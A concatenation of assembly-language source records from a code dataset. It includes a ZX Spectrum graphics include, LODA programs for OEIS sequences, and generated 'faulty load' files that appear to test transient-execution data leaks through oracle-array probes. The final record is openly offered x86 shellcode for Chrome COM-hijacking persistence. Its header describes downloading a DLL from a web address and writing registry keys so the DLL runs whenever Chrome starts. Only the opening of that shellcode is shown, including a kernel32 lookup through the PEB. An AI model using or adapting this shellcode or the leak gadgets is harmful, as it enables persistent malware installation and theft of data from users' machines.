00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
||||
TheStack | d665d23e10e148cfee1799304641148ddae65d46 | Assemblycode:Assembly | {"size": 77, "ext": "asm", "max_stars_repo_path": "libsrc/_DEVELOPMENT/EXAMPLES/zx/demo_sp1/BlackStar/gfx/warning.asm", "max_stars_repo_name": "jpoikela/z88dk", "max_stars_repo_stars_event_min_datetime": "2017-01-14T23:33:45.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T11:28:42.000Z", "max_issues_repo_path": "libsrc/_DEVELOPMENT/EXAMPLES/zx/demo_sp1/BlackStar/gfx/warning.asm", "max_issues_repo_name": "jpoikela/z88dk", "max_issues_repo_issues_event_min_datetime": "2017-01-15T16:12:02.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-31T12:11:12.000Z", "max_forks_repo_path": "libsrc/_DEVELOPMENT/EXAMPLES/zx/demo_sp1/BlackStar/gfx/warning.asm", "max_forks_repo_name": "jpoikela/z88dk", "max_forks_repo_forks_event_min_datetime": "2017-01-17T10:43:03.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-23T17:25:02.000Z"} | {"max_stars_count": 640, "max_issues_count": 1600, "max_forks_count": 215, "avg_line_length": 9.625, "max_line_length": 27, "alphanum_fraction": 0.7662337662} | SECTION rodata_user
PUBLIC _warning
_warning:
BINARY "warning.scr.zx7"
|
||||
TheStack | c216dca7f103d6134a8d781915de025e462f9ebf | Assemblycode:Assembly | {"size": 760, "ext": "asm", "max_stars_repo_path": "oeis/281/A281503.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/281/A281503.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/281/A281503.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"} | {"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 38.0, "max_line_length": 483, "alphanum_fraction": 0.7960526316} | ; A281503: Solutions x to the negative Pell equation y^2 = 33*x^2 - 8 with x,y >= 0.
; Submitted by Christian Krause
; 1,3,43,137,1977,6299,90899,289617,4179377,13316083,192160443,612250201,8835201001,28150193163,406227085603,1294296635297,18677610736737,59509495030499,858763866804299,2736142474767657,39484460262261017,125803044344281723,1815426408197202483,5784203897362191601,83470130316809053201,265947576234316531923,3837810568165019244763,12227804302881198276857,176455816005274076205897,562213050356300804203499,8113129725674442486226499,25849572512086955795084097,373027511565019080290213057
mov $2,10
lpb $0
sub $0,1
add $1,$2
mov $3,$0
add $3,$0
mod $3,4
mul $3,$2
mul $3,2
add $1,$3
add $2,$1
add $2,$1
lpe
mov $0,$2
div $0,10
|
||||
TheStack | f8c4d6c0b99aae139422de5026bc75bd1194a8cc | Assemblycode:Assembly | {"size": 787, "ext": "asm", "max_stars_repo_path": "oeis/220/A220363.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/220/A220363.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/220/A220363.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"} | {"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 31.48, "max_line_length": 486, "alphanum_fraction": 0.7547649301} | ; A220363: a(n) = Fibonacci(n)^3 + (-1)^n*Fibonacci(n+2).
; Submitted by Jon Maiga
; 1,-1,4,3,35,112,533,2163,9316,39215,166519,704736,2986361,12648727,53583620,226979403,961507387,4072998992,17253519469,73087050795,309601764836,1311494041879,5555578042799,23533806034368,99690802469425,422297015444207,1788878865003268,7577812474232403,32100128763914771,135978327526684720,576013438875842309,2440032083021658531,10336141770976060516,43784599166903921087,185474538438627308455,785682752921355611808,3328205550124142862377,14098504953417776411527,59722225363795492264964
mov $1,1
mov $3,-1
mov $4,-1
lpb $0
sub $0,1
add $2,$1
add $4,$1
add $4,$3
add $3,$4
add $1,$3
add $4,$2
add $3,$4
sub $4,$3
sub $2,$4
add $3,1
add $3,$4
add $3,$2
add $3,$4
lpe
mov $0,$1
|
||||
TheStack | f2333afd7f2c9c491fc3427438163cff68aae998 | Assemblycode:Assembly | {"size": 4553, "ext": "asm", "max_stars_repo_path": "Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_2774.asm", "max_stars_repo_name": "ljhsiun2/medusa", "max_stars_repo_stars_event_min_datetime": "2020-08-13T19:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:22:51.000Z", "max_issues_repo_path": "Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_2774.asm", "max_issues_repo_name": "ljhsiun2/medusa", "max_issues_repo_issues_event_min_datetime": "2021-04-29T06:29:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-13T21:02:30.000Z", "max_forks_repo_path": "Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_2774.asm", "max_forks_repo_name": "ljhsiun2/medusa", "max_forks_repo_forks_event_min_datetime": "2020-07-14T17:07:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T01:12:22.000Z"} | {"max_stars_count": 9, "max_issues_count": 1, "max_forks_count": 3, "avg_line_length": 51.1573033708, "max_line_length": 2999, "alphanum_fraction": 0.6617614759} | .global s_prepare_buffers
s_prepare_buffers:
push %r14
push %r8
push %rbp
push %rbx
push %rdx
push %rsi
lea addresses_WC_ht+0xe7eb, %rdx
nop
nop
nop
nop
sub %r14, %r14
mov (%rdx), %bx
nop
nop
nop
nop
cmp $59086, %rsi
lea addresses_A_ht+0xf7dd, %rsi
nop
nop
nop
nop
and $36125, %r14
mov (%rsi), %ebp
nop
nop
nop
sub %r14, %r14
lea addresses_normal_ht+0x13add, %r8
nop
nop
inc %rbp
mov $0x6162636465666768, %rsi
movq %rsi, %xmm3
and $0xffffffffffffffc0, %r8
vmovaps %ymm3, (%r8)
dec %rbp
pop %rsi
pop %rdx
pop %rbx
pop %rbp
pop %r8
pop %r14
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %rax
push %rbx
push %rcx
push %rsi
// Faulty Load
lea addresses_RW+0x2fdd, %r13
nop
nop
nop
nop
sub $16648, %rbx
movb (%r13), %al
lea oracles, %rsi
and $0xff, %rax
shlq $12, %rax
mov (%rsi,%rax,1), %rax
pop %rsi
pop %rcx
pop %rbx
pop %rax
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'AVXalign': True, 'congruent': 0, 'size': 1, 'same': False, 'NT': True}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 11, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': True, 'congruent': 6, 'size': 32, 'same': False, 'NT': False}}
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
|
||||
TheStack | ec43e737c013362caa036c587054e71f05eb29ce | Assemblycode:Assembly | {"size": 488, "ext": "asm", "max_stars_repo_path": "oeis/348/A348161.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/348/A348161.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/348/A348161.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"} | {"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 32.5333333333, "max_line_length": 184, "alphanum_fraction": 0.5983606557} | ; A348161: Number of factorizations of (n,n) into one or two pairs (i,j) with i > 0, j > 0 (and if i=1 then j=1).
; Submitted by Jon Maiga
; 1,1,1,3,1,5,1,5,3,5,1,13,1,5,5,9,1,13,1,13,5,5,1,25,3,5,5,13,1,25,1,13,5,5,5,33,1,5,5,25,1,25,1,13,13,5,1,41,3,13,5,13,1,25,5,25,5,5,1,61,1,5,13,19,5,25,1,13,5,25,1,61,1,5,13,13,5,25
seq $0,5 ; d(n) (also called tau(n) or sigma_0(n)), the number of divisors of n.
sub $0,1
lpb $0
sub $0,1
add $2,$0
sub $0,1
lpe
mov $0,$2
mul $0,2
add $0,1
|
||||
TheStack | fbff61f3f9af3a473e893cf438ae376946009a9d | Assemblycode:Assembly | {"size": 8627, "ext": "asm", "max_stars_repo_path": "Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2983.asm", "max_stars_repo_name": "ljhsiun2/medusa", "max_stars_repo_stars_event_min_datetime": "2020-08-13T19:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:22:51.000Z", "max_issues_repo_path": "Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2983.asm", "max_issues_repo_name": "ljhsiun2/medusa", "max_issues_repo_issues_event_min_datetime": "2021-04-29T06:29:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-13T21:02:30.000Z", "max_forks_repo_path": "Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2983.asm", "max_forks_repo_name": "ljhsiun2/medusa", "max_forks_repo_forks_event_min_datetime": "2020-07-14T17:07:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T01:12:22.000Z"} | {"max_stars_count": 9, "max_issues_count": 1, "max_forks_count": 3, "avg_line_length": 33.3088803089, "max_line_length": 2999, "alphanum_fraction": 0.6559638345} | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r13
push %r15
push %r9
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x3fb4, %r15
nop
nop
nop
sub $22092, %r12
movb $0x61, (%r15)
nop
xor $18736, %rdi
lea addresses_UC_ht+0x16e54, %r11
nop
nop
nop
xor $46811, %r13
mov (%r11), %rdi
nop
nop
sub %r15, %r15
lea addresses_UC_ht+0x14bb4, %r9
nop
cmp %rdi, %rdi
vmovups (%r9), %ymm3
vextracti128 $1, %ymm3, %xmm3
vpextrq $0, %xmm3, %r15
dec %r11
lea addresses_WT_ht+0x171c4, %r9
nop
nop
nop
nop
add $47751, %r13
vmovups (%r9), %ymm2
vextracti128 $1, %ymm2, %xmm2
vpextrq $1, %xmm2, %r12
and $25121, %rdi
lea addresses_normal_ht+0x908d, %r12
nop
nop
nop
nop
nop
add $55656, %rcx
movb $0x61, (%r12)
nop
cmp %rdi, %rdi
lea addresses_A_ht+0x1a5f4, %r15
nop
nop
cmp $58362, %r9
mov $0x6162636465666768, %r11
movq %r11, %xmm3
vmovups %ymm3, (%r15)
nop
nop
nop
xor $53920, %r12
lea addresses_WT_ht+0x10eb4, %r9
and %rdi, %rdi
movl $0x61626364, (%r9)
nop
nop
nop
nop
nop
xor %rdi, %rdi
lea addresses_A_ht+0xd754, %r13
nop
nop
nop
nop
and %r15, %r15
mov $0x6162636465666768, %rcx
movq %rcx, %xmm5
movups %xmm5, (%r13)
xor %rdi, %rdi
lea addresses_UC_ht+0x333c, %rcx
nop
nop
nop
nop
add $55076, %rdi
mov $0x6162636465666768, %r11
movq %r11, (%rcx)
nop
nop
xor $13386, %r13
lea addresses_WC_ht+0x381d, %rsi
lea addresses_UC_ht+0xa484, %rdi
nop
nop
nop
sub $805, %r9
mov $34, %rcx
rep movsl
nop
xor $1081, %rsi
lea addresses_normal_ht+0x11d1a, %r11
clflush (%r11)
nop
nop
nop
nop
nop
and %rsi, %rsi
movl $0x61626364, (%r11)
nop
nop
nop
xor %rcx, %rcx
lea addresses_D_ht+0x1f5c, %rsi
lea addresses_WT_ht+0xb14, %rdi
nop
and %r12, %r12
mov $4, %rcx
rep movsw
nop
nop
nop
nop
inc %r9
lea addresses_normal_ht+0x43d4, %rsi
lea addresses_A_ht+0x7fd4, %rdi
nop
sub %r11, %r11
mov $44, %rcx
rep movsl
nop
add $12763, %r11
lea addresses_WT_ht+0x7d92, %rsi
lea addresses_WT_ht+0x105d4, %rdi
nop
nop
nop
nop
nop
mfence
mov $44, %rcx
rep movsw
inc %r11
lea addresses_D_ht+0x159d4, %rsi
lea addresses_WT_ht+0x19fd4, %rdi
clflush (%rdi)
nop
nop
nop
xor %r12, %r12
mov $65, %rcx
rep movsl
nop
nop
nop
nop
nop
sub %rsi, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r15
pop %r13
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r14
push %r8
push %rbp
push %rcx
push %rdi
// Store
lea addresses_normal+0x1bad4, %r8
nop
nop
and %rdi, %rdi
mov $0x5152535455565758, %rcx
movq %rcx, (%r8)
nop
nop
nop
cmp $13915, %r8
// Load
lea addresses_US+0x1fcd4, %rcx
nop
nop
nop
add $8977, %r12
mov (%rcx), %bp
cmp %rcx, %rcx
// Store
mov $0x6666880000000c14, %r13
add $51418, %rcx
movb $0x51, (%r13)
xor $60378, %r13
// Faulty Load
lea addresses_normal+0x67d4, %rbp
nop
xor %rcx, %rcx
vmovups (%rbp), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $0, %xmm5, %rdi
lea oracles, %r14
and $0xff, %rdi
shlq $12, %rdi
mov (%r14,%rdi,1), %rdi
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r14
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_normal', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_normal', 'same': False, 'size': 8, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_US', 'same': False, 'size': 2, 'congruent': 5, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_NC', 'same': False, 'size': 1, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_normal', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 1, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 8, 'congruent': 7, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 32, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'same': True, 'size': 32, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WT_ht', 'same': True, 'size': 4, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 16, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 8, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM'}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
|
||||
TheStack | e9349c0a825593b2103c3cb1bdfa31765753f1eb | Assemblycode:Assembly | {"size": 12350, "ext": "asm", "max_stars_repo_path": "shellcode.asm", "max_stars_repo_name": "ColeHouston/x86-com-hijack-shellcode", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "shellcode.asm", "max_issues_repo_name": "ColeHouston/x86-com-hijack-shellcode", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "shellcode.asm", "max_forks_repo_name": "ColeHouston/x86-com-hijack-shellcode", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 48.814229249, "max_line_length": 193, "alphanum_fraction": 0.548340081} | ; x86 Chrome COM Hijacking shellcode for persistence (Size: 541 bytes) (badchars avoided: \x00, \x0a, \x0d)
; Downloads a DLL from http://localhost/d.dll and saves it to C:\Users\Public\d.dll
; Creates registry keys in the HKCU hive to run the DLL every time Chrome is opened
; This shellcode was tested on: Microsoft Windows 10 Pro Version 10.0.19042 Build 19042 (64 bit)
start:
mov ebp, esp ; Make some space on the stack
add esp, 0xfffff9f0 ; by adding a negative number
find_kernel32_dll:
xor ecx, ecx ; ECX = 0x0
mov esi, fs:[ecx+0x30] ; ESI = &(PEB) ([FS:0x30])
mov esi, [esi+0x0C] ; ESI = PEB->Ldr
mov esi, [esi+0x1C] ; ESI = PEB->Ldr.InInitOrder
next:
mov ebx, [esi+0x08] ; EBX = InInitOrder[X].base_address
mov edi, [esi+0x20] ; EDI = InInitOrder[X].module_name
mov esi, [esi] ; ESI = InInitOrder[X].flink (next)
cmp [edi+24], cx ; Check if 24th byte in module_name is a string terminator
jne next ; If not, check the next module
find_function_jump:
jmp find_function_make_pic ; Short jump to find_function_make_pic
find_function_save:
pop esi ; Save address of find_function in ESI
mov [ebp+0x04], esi ; Save find_function address in stack
jmp find_functions_kernel32 ; Continue by jumping to the function after find_function
find_function_make_pic:
